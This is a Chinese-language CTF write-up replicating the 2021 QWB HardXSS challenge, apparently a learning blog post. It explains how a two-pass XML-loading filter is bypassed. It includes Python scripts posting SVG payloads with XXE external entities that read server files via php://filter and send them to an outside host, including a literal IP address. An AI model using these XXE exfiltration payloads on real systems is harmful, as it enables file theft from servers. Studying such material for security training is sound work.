0%

强网杯2021-hardxss复现

参考WP

2021强网杯HarderXSS出题心得和非官方WP

2021-强网杯Web-HarderXSS-复现-WP

KKfine’s blog QWB_Hardxss

题目链接

出题人的github

0x00 前言

接着上次的写,先用一个我最理解的方法打。upload.php的源码在上面其他的wp中都给到了。这里说一下重点的几行代码。

1
2
3
4
5
6
7
$res = $dom->loadXML($decode, LIBXML_DTDLOAD);//第一次以LIBXML_DTDLOAD参数加载xml
$decode1 = $dom->saveXML();

/*一些对decode1的过滤*/

$res = $dom->loadXML($decode, LIBXML_NOENT);//过滤后,第二次以LIBXML_NOENT参数加载xml
$decode = $dom->saveXML();

本地调试后发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#调试脚本
import requests
import hashlib
import base64
url="http://127.0.0.1/upload.php"
svg1=b'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % secret SYSTEM "http://*.*.*.*:*/path.php">
<!ENTITY % visit_hacker SYSTEM "http://*.*.*.*:*/test2.xml">
%visit_hacker;
%hacker;
]>
<hacker>&sending;</hacker>'''
r=requests.post(url,
data={"data":b"data:image/svg+xml;base64,"+base64.b64encode(svg1)},
cookies={"XDEBUG_SESSION":"XDEBUG_ECLIPSE"})
print(r.text)

#path.php
<?php
echo "php://filter/convert.base64-encode/resource=upload.php";?>

#test2.xml
<!ENTITY % hacker "<!ENTITY sending SYSTEM '%secret;'>">

第一次loadXML时可以看到vps接收到了一次对于test2.xml的请求

但因为loadXML的option参数为LIBXML_DTDLOAD,所以并没有加载外部的链接,所以有个疑问?为什么第一步时vps依然接收到了一次请求。目前还没太搞懂。

第二次loadXML时不仅调试时感官上的卡了一下,vps也收到了两个请求。

这次参数为LIBXML_NOENT,所以会将所有外部链接加载,但这之后已经没有过滤了。所以可以成功任意文件读取。

这种打法成功的原因就在于题目只对第一次加载后的xml进行了过滤,并且第一次加载时出于安全考虑并未对xml完全加载。但其实我现在并没有理解第一次未完全加载的用处。看过wp发现这应该并不是出题人的预期解法,但这确实是我最理解的一个方法了。

0x01 尝试按照预期解复现

按照预期,上面的那一步是无法任意文件读取的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#预期的xml攻击脚本
svg2=b'''<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ANY [
<!ENTITY % sp SYSTEM "http://*.*.*.*:*/test3.xml">
%sp;
%param1;
]>
<hacker>666</hacker>'''
r=requests.post(url,
data={"data":b"data:image/svg+xml;base64,"+base64.b64encode(svg1)},
cookies={"XDEBUG_SESSION":"XDEBUG_ECLIPSE"})
print(r.text)

#test3.xml
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://123.57.193.197:12003/%data;'>">

发现这样写第一次load和第二次load后的结果是一样的。这样因为第一次load后的过滤,就防止了任意文件读取。但为什么两种看似相同的写法却存在差别。。我目前还是没太搞懂,但我大受震撼。

按照预期,我们应该通过上法拿到

1
2
3
4
5
6
<script >
document.domain="cubestone.com";
function pageload(data){
document.body.innerText=data;
}
fetch(`loader.php?callback=pageload&secret=demo`).then((res)=>{return res.text();}).then((data)=>{eval(data);})</script>
1
pageload('Control center access require a vaild secret key. You entered a invaild secret!')

得知是有关jsonp的,通过xml的xss实现跨域注册我们的service worker,这再次涉及了我的知识盲区。

虽然这几天在学,但还是一知半解,今天暂时到这了,明天继续。